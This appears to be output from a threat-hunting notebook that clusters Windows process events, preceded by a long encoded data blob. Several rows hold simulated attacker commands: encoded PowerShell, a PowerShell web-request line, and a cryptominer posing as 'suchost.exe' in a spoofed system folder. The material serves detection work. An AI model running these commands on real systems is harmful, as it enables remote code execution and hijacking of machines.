U7duxgxYoVfPHFFyQkJHDy5ElGjBhBeHg4iYmJTJw4kSFDhljHcnFxYfXq1QQEBFC/fn0mTZrEM888w0cffcSyZctISEjg2rVr5OTkEBkZSf369Rk7dizffvstGzduZNmyZSQmJnL06FEWL14MwOHDh4mJieHTTz9l6dKlACQmJhIfH8+GDRvYtm3bbWsFKF++PImJiURGRvLBBx8AWB+ClpCQwJw5c4iKiuLixYvMnDmTp59+mtWrVxMdHc37779vvbY9e/YQERHB3Llz+ctf/lKgh7erq1evXhgMBuLi4oiMjGTKlCmULVv2jj0UkVuLi1tEXNyioi5DREREioBNuwWWKVOGlJQUvL29AdiyZQuPPPLIHT/TpEkTXFxc+Pzzzzl06BBHjhzh8uXL1KhRg2bNmgHQpUsXhg0bBoCzszNdunQBICAggHfffbfAeD/88APBwcEA1KhRg8aNGwPXl/W1b98eJycnnJycSE5O5tKlS2RkZDBq1Cjr5y9fvmyd7WrQoMFN9RqNRho3bsxLL72Er68voaGhVKlShSNHjljP+f777/Hz86NMmTIABAUFkZSURKtWrXB1daVatWrW/uzevZvvv//e+t179+7l4MGDN9V6wwsvvADAM888Y63zdg9B27p1K9OnTweu32e1ZMkS6zivvfYaL774In/9619vusbb1fX8888zefJk/P396d69O88999wde1ixYsWbxhYRERERedjZFK4iIiLo378/Dg7XTy9VqhSzZs2642c2bNhAbGwsvXv3JjAwkLNnz1K1alXrGHB9mdyN52WVKlXKutW72Wy+6TlaBoOB325seGMcBwcH6+cAsrKyqFChwk3hJTs7GxeX61tCli5d+pY1f/jhh+zatYuUlBT69u1rDTA3mM3mmz6Tn59/05gmk4nw8HDatm0LXJ+VK1u2LDNmzLip1sceewzAer2/ff/GQ9Bu1H3ixAlcXV1vuuaDBw9Ss2ZNAKZPn87w4cN5+eWXqVOnToFab1cXXL+3rGzZsvz8889YLBbMZvMdeygiIiIiIgXZFK4aNmzIN998w759+zAajdSsWRMnJ6c7fmbLli20b9+eoKAgMjMzSUtLw9PTk8OHD7N7927q1q3LsmXLrLNhV65cYePGjfj4+JCQkGA9foOnpycrVqygdevWHD9+nB07dgDXZ8gWLVpEt27dyM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3l0qVLd9UTuTu//dmLiIiISMmjDS3spEmTJqxdu5Zr165x5coVBg8ejMFgYO3atQDs2rWLU6dO8be//e2ux/bw8CApKQmTycSVK1dYsWIFzZo1Izo6muXLlxMQEEBUVBQ///wzcH3XuVttaOHh4UFcXBwABw4cwN/fnytXrrB7924SExNJSEggISGBPXv20LBhQ3bt2sXhw4cB+PDDD4mOjr7X9ogN8vJyycvLLeoyREREROQe6Z/K7aRNmzZkZGQQGBiI2Wymd+/eNGvWjHHjxjFr1iwcHR2ZNWsWTk5Odz12cHAwR44coXPnzly7dg1/f3/atGlD/fr1GTp0KAkJCRiNRqZNmwZcX1o4duxYpk2bxt69ezlx4gSDBg0iMjKSqKgo/P39AYiOjsbZ2ZmRI0cyatQonnjiCYYPH86IESOIj49n8uTJDB48GLPZTJUqVYiJibFrz6Qg7fAoIiIiUrIZLL9fuyZiJ6dPX8Rsvvdfr0qVynPy5AU7VlS89ekTAsCCBXH39PmHrV/3Q726O+qX7dSru6N+2e5h71WlSuWLugQRm2hZoIiIiIiIiB0oXImIiIiIiNiBwpWIiIiIiIgdKFyJiIiIiIjYgcKViIiIiIiIHShciYiIiIiI2IGecyVSTBiNxqIuQURERETug8KVSDHh5ORc1CWIiIiIyH3QskARERERERE70MyVSDEREtK7qEsQERERkfugcCVSTHh5eRd1CSIiIiJyH7QsUERERERExA4UrkREREREROxA4UpERERERMQOFK5ERERERETsQOFKRERERETEDhSuRERERERE7EDhSkRERERExA4UrkREREREROxA4UpERERERMQOFK5ERERERETsQOFKRERERETEDhSuRERERERE7EDhSkRERERExA4UrkREREREROxA4UpERERERMQOFK5ERERERETsQOFKRERERETEDhSuSpCcnBz69et3x3PS09OJiYn5kyoSEREREZEbFK5KkCpVqjB//vw7nnPgwAFOnz79J1UkIiIiIiI3OBR1AQ86i8XC9OnTWb9+PUajkeDgYMxmM4mJiZQqVYoGDRowYcIEcnNzGT9+PNu3b8fR0ZGwsDA6dOiAj48PDRo0YPfu3cTExDB48GA2btzIyJEjcXZ25scff+TSpUu89dZb+Pj4EBsby+XLl5kzZw5vvfVWgVrmzZ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TimeGeneratedLastEventTimeNewProcessNameCommandLineClusterSizecommandlineTokensFullpathScoreisSystemSession
22019-02-13 21:04:45+00:002019-02-13 22:13:45+00:00C:\\Windows\\System32\\cscript.exe\"C:\\Windows\\system32\\cscript.exe\" /nologo \"MonitorKnowledgeDiscovery.vbs\"70133022True
12019-02-13 21:04:45.010000+00:002019-02-13 22:13:58.507000+00:00C:\\Windows\\System32\\conhost.exe\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV180103028True
142019-02-13 21:08:46.143000+00:002019-02-13 22:08:46.457000+00:00C:\\Windows\\System32\\MusNotification.exeC:\\Windows\\system32\\MusNotification.exe Display463826True
652019-02-13 21:08:46.253000+00:002019-02-13 22:08:46.270000+00:00C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF\\DesiredStateCon...\"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\ICT 2\\CMF/DesiredStateCo...45311146True
512019-02-13 21:09:43.893000+00:002019-02-13 22:08:46.537000+00:00C:\\Windows\\System32\\appidcertstorecheck.exeC:\\Windows\\system32\\appidcertstorecheck.exe454285True
392019-02-13 21:09:43.903000+00:002019-02-13 22:03:42.330000+00:00C:\\Windows\\System32\\conhost.exe\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV12103028False
02019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\cmd.exe\"cmd\"122570True
1602019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\wbem\\WmiPrvSE.exeC:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding183546True
1592019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\sppsvc.exeC:\\Windows\\system32\\sppsvc.exe152933True
1102019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\CollectGuestLogs.exe\"CollectGuestLogs.exe\" -Mode:ga -FileName:C:\\WindowsAzure\\CollectGuestLogsTemp\\7a9d40f2-490e-446...1186421True
1352019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ua /installsource scheduler1174895True
452019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\W!ndows\\System32\\powershell.exe.\\powershell -enc LU5vbmludGVyYWN0aXZlIC1Ob3Byb2ZpbGUgLUNvbW1hbmQgIkludm9rZS1FeHByZXNzaW9uIEdld...163283False
442019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\W!ndows\\System32\\powershell.exe.\\powershell -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequ...1263283False
432019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\W!ndows\\System32\\suchost.exe.\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 41212967False
422019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\cmd.execmd /c echo timb@microsoft.com; ianhelle@microsoft.com; shainw@microsoft.com1122570False
412019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\cmd.execmd /c echo Any questions about the commands executed here then please contact one of1162570False
382019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\cmd.execmd.exe /c c:\\Diagnostics\\WinSimulateAlerts.cmd c:\\W!ndows\\System32 21132570True
372019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\dllhost.exeC:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}1123024True
312019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe\"C:\\WindowsAzure\\SecAgent\\WaSecAgentProv.exe\" -startPoll C:\\WindowsAzure\\Logs\\ 168.63.129.16 524...1214198True
572019-02-13 21:10:57.437000+00:002019-02-13 22:13:58.490000+00:00C:\\Windows\\System32\\UsoClient.exeC:\\Windows\\system32\\usoclient.exe StartScan163180True
